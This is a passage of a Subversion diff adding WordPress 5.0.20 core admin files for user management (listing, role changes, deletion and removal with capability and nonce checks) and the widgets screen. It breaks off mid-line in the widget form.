Index: /tags/5.0.20/src/wp-admin/user/user-edit.php
===================================================================
--- /tags/5.0.20/src/wp-admin/user/user-edit.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/user/user-edit.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Edit user administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/user-edit.php' );
Index: /tags/5.0.20/src/wp-admin/users.php
===================================================================
--- /tags/5.0.20/src/wp-admin/users.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/users.php	(revision 56912)
@@ -0,0 +1,526 @@
+<?php
+/**
+ * User administration panel
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 1.0.0
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'list_users' ) ) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+		'<p>' . __( 'Sorry, you are not allowed to list users.' ) . '</p>',
+		403
+	);
+}
+
+$wp_list_table = _get_list_table('WP_Users_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+$title = __('Users');
+$parent_file = 'users.php';
+
+add_screen_option( 'per_page' );
+
+// contextual help - choose Help on the top right of admin panel to preview this.
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('This screen lists all the existing users for your site. Each user has one of five defined roles as set by the site admin: Site Administrator, Editor, Author, Contributor, or Subscriber. Users with roles other than Administrator will see fewer options in the dashboard navigation when they are logged in, based on their role.') . '</p>' .
+				 '<p>' . __('To add a new user for your site, click the Add New button at the top of the screen or Add New in the Users menu section.') . '</p>'
+) ) ;
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'screen-content',
+	'title'   => __('Screen Content'),
+	'content' => '<p>' . __('You can customize the display of this screen in a number of ways:') . '</p>' .
+					'<ul>' .
+					'<li>' . __('You can hide/display columns based on your needs and decide how many users to list per screen using the Screen Options tab.') . '</li>' .
+					'<li>' . __( 'You can filter the list of users by User Role using the text links above the users list to show All, Administrator, Editor, Author, Contributor, or Subscriber. The default view is to show all users. Unused User Roles are not listed.' ) . '</li>' .
+					'<li>' . __('You can view all posts made by a user by clicking on the number under the Posts column.') . '</li>' .
+					'</ul>'
+) );
+
+$help = '<p>' . __('Hovering over a row in the users list will display action links that allow you to manage users. You can perform the following actions:') . '</p>' .
+	'<ul>' .
+	'<li>' . __('<strong>Edit</strong> takes you to the editable profile screen for that user. You can also reach that screen by clicking on the username.') . '</li>';
+
+if ( is_multisite() )
+	$help .= '<li>' . __( '<strong>Remove</strong> allows you to remove a user from your site. It does not delete their content. You can also remove multiple users at once by using Bulk Actions.' ) . '</li>';
+else
+	$help .= '<li>' . __( '<strong>Delete</strong> brings you to the Delete Users screen for confirmation, where you can permanently remove a user from your site and delete their content. You can also delete multiple users at once by using Bulk Actions.' ) . '</li>';
+
+$help .= '</ul>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'action-links',
+	'title'   => __('Available Actions'),
+	'content' => $help,
+) );
+unset( $help );
+
+get_current_screen()->set_help_sidebar(
+    '<p><strong>' . __('For more information:') . '</strong></p>' .
+    '<p>' . __('<a href="https://codex.wordpress.org/Users_Screen">Documentation on Managing Users</a>') . '</p>' .
+    '<p>' . __('<a href="https://codex.wordpress.org/Roles_and_Capabilities">Descriptions of Roles and Capabilities</a>') . '</p>' .
+    '<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_views'      => __( 'Filter users list' ),
+	'heading_pagination' => __( 'Users list navigation' ),
+	'heading_list'       => __( 'Users list' ),
+) );
+
+if ( empty($_REQUEST) ) {
+	$referer = '<input type="hidden" name="wp_http_referer" value="'. esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />';
+} elseif ( isset($_REQUEST['wp_http_referer']) ) {
+	$redirect = remove_query_arg(array('wp_http_referer', 'updated', 'delete_count'), wp_unslash( $_REQUEST['wp_http_referer'] ) );
+	$referer = '<input type="hidden" name="wp_http_referer" value="' . esc_attr($redirect) . '" />';
+} else {
+	$redirect = 'users.php';
+	$referer = '';
+}
+
+$update = '';
+
+switch ( $wp_list_table->current_action() ) {
+
+/* Bulk Dropdown menu Role changes */
+case 'promote':
+	check_admin_referer('bulk-users');
+
+	if ( ! current_user_can( 'promote_users' ) )
+		wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
+
+	if ( empty($_REQUEST['users']) ) {
+		wp_redirect($redirect);
+		exit();
+	}
+
+	$editable_roles = get_editable_roles();
+	$role = false;
+	if ( ! empty( $_REQUEST['new_role2'] ) ) {
+		$role = $_REQUEST['new_role2'];
+	} elseif ( ! empty( $_REQUEST['new_role'] ) ) {
+		$role = $_REQUEST['new_role'];
+	}
+
+	if ( ! $role || empty( $editable_roles[ $role ] ) ) {
+		wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
+	}
+
+	$userids = $_REQUEST['users'];
+	$update = 'promote';
+	foreach ( $userids as $id ) {
+		$id = (int) $id;
+
+		if ( ! current_user_can('promote_user', $id) )
+			wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
+		// The new role of the current user must also have the promote_users cap or be a multisite super admin
+		if ( $id == $current_user->ID && ! $wp_roles->role_objects[ $role ]->has_cap('promote_users')
+			&& ! ( is_multisite() && current_user_can( 'manage_network_users' ) ) ) {
+				$update = 'err_admin_role';
+				continue;
+		}
+
+		// If the user doesn't already belong to the blog, bail.
+		if ( is_multisite() && !is_user_member_of_blog( $id ) ) {
+			wp_die(
+				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
+				'<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>',
+				403
+			);
+		}
+
+		$user = get_userdata( $id );
+		$user->set_role( $role );
+	}
+
+	wp_redirect(add_query_arg('update', $update, $redirect));
+	exit();
+
+case 'dodelete':
+	if ( is_multisite() )
+		wp_die( __('User deletion is not allowed from this screen.'), 400 );
+
+	check_admin_referer('delete-users');
+
+	if ( empty($_REQUEST['users']) ) {
+		wp_redirect($redirect);
+		exit();
+	}
+
+	$userids = array_map( 'intval', (array) $_REQUEST['users'] );
+
+	if ( empty( $_REQUEST['delete_option'] ) ) {
+		$url = self_admin_url( 'users.php?action=delete&users[]=' . implode( '&users[]=', $userids ) . '&error=true' );
+		$url = str_replace( '&amp;', '&', wp_nonce_url( $url, 'bulk-users' ) );
+		wp_redirect( $url );
+		exit;
+	}
+
+	if ( ! current_user_can( 'delete_users' ) )
+		wp_die( __( 'Sorry, you are not allowed to delete users.' ), 403 );
+
+	$update = 'del';
+	$delete_count = 0;
+
+	foreach ( $userids as $id ) {
+		if ( ! current_user_can( 'delete_user', $id ) )
+			wp_die( __( 'Sorry, you are not allowed to delete that user.' ), 403 );
+
+		if ( $id == $current_user->ID ) {
+			$update = 'err_admin_del';
+			continue;
+		}
+		switch ( $_REQUEST['delete_option'] ) {
+		case 'delete':
+			wp_delete_user( $id );
+			break;
+		case 'reassign':
+			wp_delete_user( $id, $_REQUEST['reassign_user'] );
+			break;
+		}
+		++$delete_count;
+	}
+
+	$redirect = add_query_arg( array('delete_count' => $delete_count, 'update' => $update), $redirect);
+	wp_redirect($redirect);
+	exit();
+
+case 'delete':
+	if ( is_multisite() )
+		wp_die( __('User deletion is not allowed from this screen.'), 400 );
+
+	check_admin_referer('bulk-users');
+
+	if ( empty($_REQUEST['users']) && empty($_REQUEST['user']) ) {
+		wp_redirect($redirect);
+		exit();
+	}
+
+	if ( ! current_user_can( 'delete_users' ) )
+		$errors = new WP_Error( 'edit_users', __( 'Sorry, you are not allowed to delete users.' ) );
+
+	if ( empty($_REQUEST['users']) )
+		$userids = array( intval( $_REQUEST['user'] ) );
+	else
+		$userids = array_map( 'intval', (array) $_REQUEST['users'] );
+
+	$users_have_content = false;
+	if ( $wpdb->get_var( "SELECT ID FROM {$wpdb->posts} WHERE post_author IN( " . implode( ',', $userids ) . " ) LIMIT 1" ) ) {
+		$users_have_content = true;
+	} elseif ( $wpdb->get_var( "SELECT link_id FROM {$wpdb->links} WHERE link_owner IN( " . implode( ',', $userids ) . " ) LIMIT 1" ) ) {
+		$users_have_content = true;
+	}
+
+	if ( $users_have_content ) {
+		add_action( 'admin_head', 'delete_users_add_js' );
+	}
+
+	include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<form method="post" name="updateusers" id="updateusers">
+<?php wp_nonce_field('delete-users') ?>
+<?php echo $referer; ?>
+
+<div class="wrap">
+<h1><?php _e( 'Delete Users' ); ?></h1>
+<?php if ( isset( $_REQUEST['error'] ) ) : ?>
+	<div class="error">
+		<p><strong><?php _e( 'ERROR:' ); ?></strong> <?php _e( 'Please select an option.' ); ?></p>
+	</div>
+<?php endif; ?>
+
+<?php if ( 1 == count( $userids ) ) : ?>
+	<p><?php _e( 'You have specified this user for deletion:' ); ?></p>
+<?php else : ?>
+	<p><?php _e( 'You have specified these users for deletion:' ); ?></p>
+<?php endif; ?>
+
+<ul>
+<?php
+	$go_delete = 0;
+	foreach ( $userids as $id ) {
+		$user = get_userdata( $id );
+		if ( $id == $current_user->ID ) {
+			/* translators: 1: user id, 2: user login */
+			echo "<li>" . sprintf(__('ID #%1$s: %2$s <strong>The current user will not be deleted.</strong>'), $id, $user->user_login) . "</li>\n";
+		} else {
+			/* translators: 1: user id, 2: user login */
+			echo "<li><input type=\"hidden\" name=\"users[]\" value=\"" . esc_attr($id) . "\" />" . sprintf(__('ID #%1$s: %2$s'), $id, $user->user_login) . "</li>\n";
+			$go_delete++;
+		}
+	}
+	?>
+	</ul>
+<?php if ( $go_delete ) :
+
+	if ( ! $users_have_content ) : ?>
+		<input type="hidden" name="delete_option" value="delete" />
+	<?php else: ?>
+		<?php if ( 1 == $go_delete ) : ?>
+			<fieldset><p><legend><?php _e( 'What should be done with content owned by this user?' ); ?></legend></p>
+		<?php else : ?>
+			<fieldset><p><legend><?php _e( 'What should be done with content owned by these users?' ); ?></legend></p>
+		<?php endif; ?>
+		<ul style="list-style:none;">
+			<li><label><input type="radio" id="delete_option0" name="delete_option" value="delete" />
+			<?php _e('Delete all content.'); ?></label></li>
+			<li><input type="radio" id="delete_option1" name="delete_option" value="reassign" />
+			<?php echo '<label for="delete_option1">' . __( 'Attribute all content to:' ) . '</label> ';
+			wp_dropdown_users( array(
+				'name' => 'reassign_user',
+				'exclude' => array_diff( $userids, array( $current_user->ID ) ),
+				'show' => 'display_name_with_login',
+			) ); ?></li>
+		</ul></fieldset>
+	<?php endif;
+	/**
+	 * Fires at the end of the delete users form prior to the confirm button.
+	 *
+	 * @since 4.0.0
+	 * @since 4.5.0 The `$userids` parameter was added.
+	 *
+	 * @param WP_User $current_user WP_User object for the current user.
+	 * @param array   $userids      Array of IDs for users being deleted.
+	 */
+	do_action( 'delete_user_form', $current_user, $userids );
+	?>
+	<input type="hidden" name="action" value="dodelete" />
+	<?php submit_button( __('Confirm Deletion'), 'primary' ); ?>
+<?php else : ?>
+	<p><?php _e('There are no valid users selected for deletion.'); ?></p>
+<?php endif; ?>
+</div>
+</form>
+<?php
+
+break;
+
+case 'doremove':
+	check_admin_referer('remove-users');
+
+	if ( ! is_multisite() )
+		wp_die( __( 'You can&#8217;t remove users.' ), 400 );
+
+	if ( empty($_REQUEST['users']) ) {
+		wp_redirect($redirect);
+		exit;
+	}
+
+	if ( ! current_user_can( 'remove_users' ) )
+		wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
+
+	$userids = $_REQUEST['users'];
+
+	$update = 'remove';
+ 	foreach ( $userids as $id ) {
+		$id = (int) $id;
+		if ( !current_user_can('remove_user', $id) ) {
+			$update = 'err_admin_remove';
+			continue;
+		}
+		remove_user_from_blog($id, $blog_id);
+	}
+
+	$redirect = add_query_arg( array('update' => $update), $redirect);
+	wp_redirect($redirect);
+	exit;
+
+case 'remove':
+
+	check_admin_referer('bulk-users');
+
+	if ( ! is_multisite() )
+		wp_die( __( 'You can&#8217;t remove users.' ), 400 );
+
+	if ( empty($_REQUEST['users']) && empty($_REQUEST['user']) ) {
+		wp_redirect($redirect);
+		exit();
+	}
+
+	if ( !current_user_can('remove_users') )
+		$error = new WP_Error('edit_users', __('Sorry, you are not allowed to remove users.'));
+
+	if ( empty($_REQUEST['users']) )
+		$userids = array(intval($_REQUEST['user']));
+	else
+		$userids = $_REQUEST['users'];
+
+	include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<form method="post" name="updateusers" id="updateusers">
+<?php wp_nonce_field('remove-users') ?>
+<?php echo $referer; ?>
+
+<div class="wrap">
+<h1><?php _e( 'Remove Users from Site' ); ?></h1>
+
+<?php if ( 1 == count( $userids ) ) : ?>
+	<p><?php _e( 'You have specified this user for removal:' ); ?></p>
+<?php else : ?>
+	<p><?php _e( 'You have specified these users for removal:' ); ?></p>
+<?php endif; ?>
+
+<ul>
+<?php
+	$go_remove = false;
+ 	foreach ( $userids as $id ) {
+		$id = (int) $id;
+ 		$user = get_userdata( $id );
+		if ( ! current_user_can( 'remove_user', $id ) ) {
+			/* translators: 1: user id, 2: user login */
+			echo "<li>" . sprintf(__('ID #%1$s: %2$s <strong>Sorry, you are not allowed to remove this user.</strong>'), $id, $user->user_login) . "</li>\n";
+		} else {
+			/* translators: 1: user id, 2: user login */
+			echo "<li><input type=\"hidden\" name=\"users[]\" value=\"{$id}\" />" . sprintf(__('ID #%1$s: %2$s'), $id, $user->user_login) . "</li>\n";
+			$go_remove = true;
+		}
+ 	}
+ 	?>
+</ul>
+<?php if ( $go_remove ) : ?>
+		<input type="hidden" name="action" value="doremove" />
+		<?php submit_button( __('Confirm Removal'), 'primary' ); ?>
+<?php else : ?>
+	<p><?php _e('There are no valid users selected for removal.'); ?></p>
+<?php endif; ?>
+</div>
+</form>
+<?php
+
+break;
+
+default:
+
+	if ( !empty($_GET['_wp_http_referer']) ) {
+		wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce'), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
+		exit;
+	}
+
+	if ( $wp_list_table->current_action() && ! empty( $_REQUEST['users'] ) ) {
+		$userids = $_REQUEST['users'];
+		$sendback = wp_get_referer();
+
+		/** This action is documented in wp-admin/edit-comments.php */
+		$sendback = apply_filters( 'handle_bulk_actions-' . get_current_screen()->id, $sendback, $wp_list_table->current_action(), $userids );
+
+		wp_safe_redirect( $sendback );
+		exit;
+	}
+
+	$wp_list_table->prepare_items();
+	$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );
+	if ( $pagenum > $total_pages && $total_pages > 0 ) {
+		wp_redirect( add_query_arg( 'paged', $total_pages ) );
+		exit;
+	}
+
+	include( ABSPATH . 'wp-admin/admin-header.php' );
+
+	$messages = array();
+	if ( isset($_GET['update']) ) :
+		switch($_GET['update']) {
+		case 'del':
+		case 'del_many':
+			$delete_count = isset($_GET['delete_count']) ? (int) $_GET['delete_count'] : 0;
+			if ( 1 == $delete_count ) {
+				$message = __( 'User deleted.' );
+			} else {
+				$message = _n( '%s user deleted.', '%s users deleted.', $delete_count );
+			}
+			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $delete_count ) ) . '</p></div>';
+			break;
+		case 'add':
+			if ( isset( $_GET['id'] ) && ( $user_id = $_GET['id'] ) && current_user_can( 'edit_user', $user_id ) ) {
+				/* translators: %s: edit page url */
+				$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( __( 'New user created. <a href="%s">Edit user</a>' ),
+					esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ),
+						self_admin_url( 'user-edit.php?user_id=' . $user_id ) ) ) ) . '</p></div>';
+			} else {
+				$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __( 'New user created.' ) . '</p></div>';
+			}
+			break;
+		case 'promote':
+			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __('Changed roles.') . '</p></div>';
+			break;
+		case 'err_admin_role':
+			$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . __('The current user&#8217;s role must have user editing capabilities.') . '</p></div>';
+			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __('Other user roles have been changed.') . '</p></div>';
+			break;
+		case 'err_admin_del':
+			$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . __('You can&#8217;t delete the current user.') . '</p></div>';
+			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __('Other users have been deleted.') . '</p></div>';
+			break;
+		case 'remove':
+			$messages[] = '<div id="message" class="updated notice is-dismissible fade"><p>' . __('User removed from this site.') . '</p></div>';
+			break;
+		case 'err_admin_remove':
+			$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . __("You can't remove the current user.") . '</p></div>';
+			$messages[] = '<div id="message" class="updated notice is-dismissible fade"><p>' . __('Other users have been removed.') . '</p></div>';
+			break;
+		}
+	endif; ?>
+
+<?php if ( isset($errors) && is_wp_error( $errors ) ) : ?>
+	<div class="error">
+		<ul>
+		<?php
+			foreach ( $errors->get_error_messages() as $err )
+				echo "<li>$err</li>\n";
+		?>
+		</ul>
+	</div>
+<?php endif;
+
+if ( ! empty($messages) ) {
+	foreach ( $messages as $msg )
+		echo $msg;
+} ?>
+
+<div class="wrap">
+<h1 class="wp-heading-inline"><?php
+echo esc_html( $title );
+?></h1>
+
+<?php
+if ( current_user_can( 'create_users' ) ) { ?>
+	<a href="<?php echo admin_url( 'user-new.php' ); ?>" class="page-title-action"><?php echo esc_html_x( 'Add New', 'user' ); ?></a>
+<?php } elseif ( is_multisite() && current_user_can( 'promote_users' ) ) { ?>
+	<a href="<?php echo admin_url( 'user-new.php' ); ?>" class="page-title-action"><?php echo esc_html_x( 'Add Existing', 'user' ); ?></a>
+<?php }
+
+if ( strlen( $usersearch ) ) {
+	/* translators: %s: search keywords */
+	printf( '<span class="subtitle">' . __( 'Search results for &#8220;%s&#8221;' ) . '</span>', esc_html( $usersearch ) );
+}
+?>
+
+<hr class="wp-header-end">
+
+<?php $wp_list_table->views(); ?>
+
+<form method="get">
+
+<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>
+
+<?php if ( ! empty( $_REQUEST['role'] ) ) { ?>
+<input type="hidden" name="role" value="<?php echo esc_attr( $_REQUEST['role'] ); ?>" />
+<?php } ?>
+
+<?php $wp_list_table->display(); ?>
+</form>
+
+<br class="clear" />
+</div>
+<?php
+break;
+
+} // end of the $doaction switch
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/widgets.php
===================================================================
--- /tags/5.0.20/src/wp-admin/widgets.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/widgets.php	(revision 56912)
@@ -0,0 +1,524 @@
+<?php
+/**
+ * Widget administration panel
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+/** WordPress Administration Widgets API */
+require_once(ABSPATH . 'wp-admin/includes/widgets.php');
+
+if ( ! current_user_can( 'edit_theme_options' ) ) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+		'<p>' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '</p>',
+		403
+	);
+}
+
+$widgets_access = get_user_setting( 'widgets_access' );
+if ( isset($_GET['widgets-access']) ) {
+	check_admin_referer( 'widgets-access' );
+
+	$widgets_access = 'on' == $_GET['widgets-access'] ? 'on' : 'off';
+	set_user_setting( 'widgets_access', $widgets_access );
+}
+
+if ( 'on' == $widgets_access ) {
+	add_filter( 'admin_body_class', 'wp_widgets_access_body_class' );
+} else {
+	wp_enqueue_script('admin-widgets');
+
+	if ( wp_is_mobile() )
+		wp_enqueue_script( 'jquery-touch-punch' );
+}
+
+/**
+ * Fires early before the Widgets administration screen loads,
+ * after scripts are enqueued.
+ *
+ * @since 2.2.0
+ */
+do_action( 'sidebar_admin_setup' );
+
+$title = __( 'Widgets' );
+$parent_file = 'themes.php';
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . __('Widgets are independent sections of content that can be placed into any widgetized area provided by your theme (commonly called sidebars). To populate your sidebars/widget areas with individual widgets, drag and drop the title bars into the desired area. By default, only the first widget area is expanded. To populate additional widget areas, click on their title bars to expand them.') . '</p>
+	<p>' . __('The Available Widgets section contains all the widgets you can choose from. Once you drag a widget into a sidebar, it will open to allow you to configure its settings. When you are happy with the widget settings, click the Save button and the widget will go live on your site. If you click Delete, it will remove the widget.') . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'removing-reusing',
+'title'		=> __('Removing and Reusing'),
+'content'	=>
+	'<p>' . __('If you want to remove the widget but save its setting for possible future use, just drag it into the Inactive Widgets area. You can add them back anytime from there. This is especially helpful when you switch to a theme with fewer or different widget areas.') . '</p>
+	<p>' . __('Widgets may be used multiple times. You can give each widget a title, to display on your site, but it&#8217;s not required.') . '</p>
+	<p>' . __('Enabling Accessibility Mode, via Screen Options, allows you to use Add and Edit buttons instead of using drag and drop.') . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'missing-widgets',
+'title'		=> __('Missing Widgets'),
+'content'	=>
+	'<p>' . __('Many themes show some sidebar widgets by default until you edit your sidebars, but they are not automatically displayed in your sidebar management tool. After you make your first widget change, you can re-add the default widgets by adding them from the Available Widgets area.') . '</p>' .
+		'<p>' . __('When changing themes, there is often some variation in the number and setup of widget areas/sidebars and sometimes these conflicts make the transition a bit less smooth. If you changed themes and seem to be missing widgets, scroll down on this screen to the Inactive Widgets area, where all of your widgets and their settings will have been saved.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Appearance_Widgets_Screen">Documentation on Widgets</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+if ( ! current_theme_supports( 'widgets' ) ) {
+	wp_die( __( 'The theme you are currently using isn&#8217;t widget-aware, meaning that it has no sidebars that you are able to change. For information on making your theme widget-aware, please <a href="https://codex.wordpress.org/Widgetizing_Themes">follow these instructions</a>.' ) );
+}
+
+// These are the widgets grouped by sidebar
+$sidebars_widgets = wp_get_sidebars_widgets();
+
+if ( empty( $sidebars_widgets ) )
+	$sidebars_widgets = wp_get_widget_defaults();
+
+foreach ( $sidebars_widgets as $sidebar_id => $widgets ) {
+	if ( 'wp_inactive_widgets' == $sidebar_id )
+		continue;
+
+	if ( ! is_registered_sidebar( $sidebar_id ) ) {
+		if ( ! empty( $widgets ) ) { // register the inactive_widgets area as sidebar
+			register_sidebar(array(
+				'name' => __( 'Inactive Sidebar (not used)' ),
+				'id' => $sidebar_id,
+				'class' => 'inactive-sidebar orphan-sidebar',
+				'description' => __( 'This sidebar is no longer available and does not show anywhere on your site. Remove each of the widgets below to fully remove this inactive sidebar.' ),
+				'before_widget' => '',
+				'after_widget' => '',
+				'before_title' => '',
+				'after_title' => '',
+			));
+		} else {
+			unset( $sidebars_widgets[ $sidebar_id ] );
+		}
+	}
+}
+
+// register the inactive_widgets area as sidebar
+register_sidebar(array(
+	'name' => __('Inactive Widgets'),
+	'id' => 'wp_inactive_widgets',
+	'class' => 'inactive-sidebar',
+	'description' => __( 'Drag widgets here to remove them from the sidebar but keep their settings.' ),
+	'before_widget' => '',
+	'after_widget' => '',
+	'before_title' => '',
+	'after_title' => '',
+));
+
+retrieve_widgets();
+
+// We're saving a widget without js
+if ( isset($_POST['savewidget']) || isset($_POST['removewidget']) ) {
+	$widget_id = $_POST['widget-id'];
+	check_admin_referer("save-delete-widget-$widget_id");
+
+	$number = isset($_POST['multi_number']) ? (int) $_POST['multi_number'] : '';
+	if ( $number ) {
+		foreach ( $_POST as $key => $val ) {
+			if ( is_array($val) && preg_match('/__i__|%i%/', key($val)) ) {
+				$_POST[$key] = array( $number => array_shift($val) );
+				break;
+			}
+		}
+	}
+
+	$sidebar_id = $_POST['sidebar'];
+	$position = isset($_POST[$sidebar_id . '_position']) ? (int) $_POST[$sidebar_id . '_position'] - 1 : 0;
+
+	$id_base = $_POST['id_base'];
+	$sidebar = isset($sidebars_widgets[$sidebar_id]) ? $sidebars_widgets[$sidebar_id] : array();
+
+	// Delete.
+	if ( isset($_POST['removewidget']) && $_POST['removewidget'] ) {
+
+		if ( !in_array($widget_id, $sidebar, true) ) {
+			wp_redirect( admin_url('widgets.php?error=0') );
+			exit;
+		}
+
+		$sidebar = array_diff( $sidebar, array($widget_id) );
+		$_POST = array('sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1');
+
+		/**
+		 * Fires immediately after a widget has been marked for deletion.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param string $widget_id  ID of the widget marked for deletion.
+		 * @param string $sidebar_id ID of the sidebar the widget was deleted from.
+		 * @param string $id_base    ID base for the widget.
+		 */
+		do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base );
+	}
+
+	$_POST['widget-id'] = $sidebar;
+
+	foreach ( (array) $wp_registered_widget_updates as $name => $control ) {
+		if ( $name != $id_base || !is_callable($control['callback']) )
+			continue;
+
+		ob_start();
+			call_user_func_array( $control['callback'], $control['params'] );
+		ob_end_clean();
+
+		break;
+	}
+
+	$sidebars_widgets[$sidebar_id] = $sidebar;
+
+	// Remove old position.
+	if ( !isset($_POST['delete_widget']) ) {
+		foreach ( $sidebars_widgets as $key => $sb ) {
+			if ( is_array($sb) )
+				$sidebars_widgets[$key] = array_diff( $sb, array($widget_id) );
+		}
+		array_splice( $sidebars_widgets[$sidebar_id], $position, 0, $widget_id );
+	}
+
+	wp_set_sidebars_widgets($sidebars_widgets);
+	wp_redirect( admin_url('widgets.php?message=0') );
+	exit;
+}
+
+// Remove inactive widgets without js
+if ( isset( $_POST['removeinactivewidgets'] ) ) {
+	check_admin_referer( 'remove-inactive-widgets', '_wpnonce_remove_inactive_widgets' );
+
+	if ( $_POST['removeinactivewidgets'] ) {
+		foreach ( $sidebars_widgets['wp_inactive_widgets'] as $key => $widget_id ) {
+			$pieces = explode( '-', $widget_id );
+			$multi_number = array_pop( $pieces );
+			$id_base = implode( '-', $pieces );
+			$widget = get_option( 'widget_' . $id_base );
+			unset( $widget[$multi_number] );
+			update_option( 'widget_' . $id_base, $widget );
+			unset( $sidebars_widgets['wp_inactive_widgets'][$key] );
+		}
+
+		wp_set_sidebars_widgets( $sidebars_widgets );
+	}
+
+	wp_redirect( admin_url( 'widgets.php?message=0' ) );
+	exit;
+}
+
+// Output the widget form without js
+if ( isset($_GET['editwidget']) && $_GET['editwidget'] ) {
+	$widget_id = $_GET['editwidget'];
+
+	if ( isset($_GET['addnew']) ) {
+		// Default to the first sidebar
+		$keys = array_keys( $wp_registered_sidebars );
+		$sidebar = reset( $keys );
+
+		if ( isset($_GET['base']) && isset($_GET['num']) ) { // multi-widget
+			// Copy minimal info from an existing instance of this widget to a new instance
+			foreach ( $wp_registered_widget_controls as $control ) {
+				if ( $_GET['base'] === $control['id_base'] ) {
+					$control_callback = $control['callback'];
+					$multi_number = (int) $_GET['num'];
+					$control['params'][0]['number'] = -1;
+					$widget_id = $control['id'] = $control['id_base'] . '-' . $multi_number;
+					$wp_registered_widget_controls[$control['id']] = $control;
+					break;
+				}
+			}
+		}
+	}
+
+	if ( isset($wp_registered_widget_controls[$widget_id]) && !isset($control) ) {
+		$control = $wp_registered_widget_controls[$widget_id];
+		$control_callback = $control['callback'];
+	} elseif ( !isset($wp_registered_widget_controls[$widget_id]) && isset($wp_registered_widgets[$widget_id]) ) {
+		$name = esc_html( strip_tags($wp_registered_widgets[$widget_id]['name']) );
+	}
+
+	if ( !isset($name) )
+		$name = esc_html( strip_tags($control['name']) );
+
+	if ( !isset($sidebar) )
+		$sidebar = isset($_GET['sidebar']) ? $_GET['sidebar'] : 'wp_inactive_widgets';
+
+	if ( !isset($multi_number) )
+		$multi_number = isset($control['params'][0]['number']) ? $control['params'][0]['number'] : '';
+
+	$id_base = isset($control['id_base']) ? $control['id_base'] : $control['id'];
+
+	// Show the widget form.
+	$width = ' style="width:' . max($control['width'], 350) . 'px"';
+	$key = isset($_GET['key']) ? (int) $_GET['key'] : 0;
+
+	require_once( ABSPATH . 'wp-admin/admin-header.php' ); ?>
+	<div class="wrap">
+	<h1><?php echo esc_html( $title ); ?></h1>
+	<div class="editwidget"<?php echo $width; ?>>
+	<h2><?php printf( __( 'Widget %s' ), $name ); ?></h2>
+
+	<form action="widgets.php" method="post">
+	<div class="widget-inside">
+<?php
+	if ( is_callable( $control_callback ) )
+		call_user_func_array( $control_callback, $control['params'] );
+	else
+		echo '<p>' . __('There are no options for this widget.') . "</p>\n"; ?>
+	</div>
+
+	<p class="describe"><?php _e('Select both the sidebar for this widget and the position of the widget in that sidebar.'); ?></p>
+	<div class="widget-position">
+	<table class="widefat"><thead><tr><th><?php _e('Sidebar'); ?></th><th><?php _e('Position'); ?></th></tr></thead><tbody>
+<?php
+	foreach ( $wp_registered_sidebars as $sbname => $sbvalue ) {
+		echo "\t\t<tr><td><label><input type='radio' name='sidebar' value='" . esc_attr($sbname) . "'" . checked( $sbname, $sidebar, false ) . " /> $sbvalue[name]</label></td><td>";
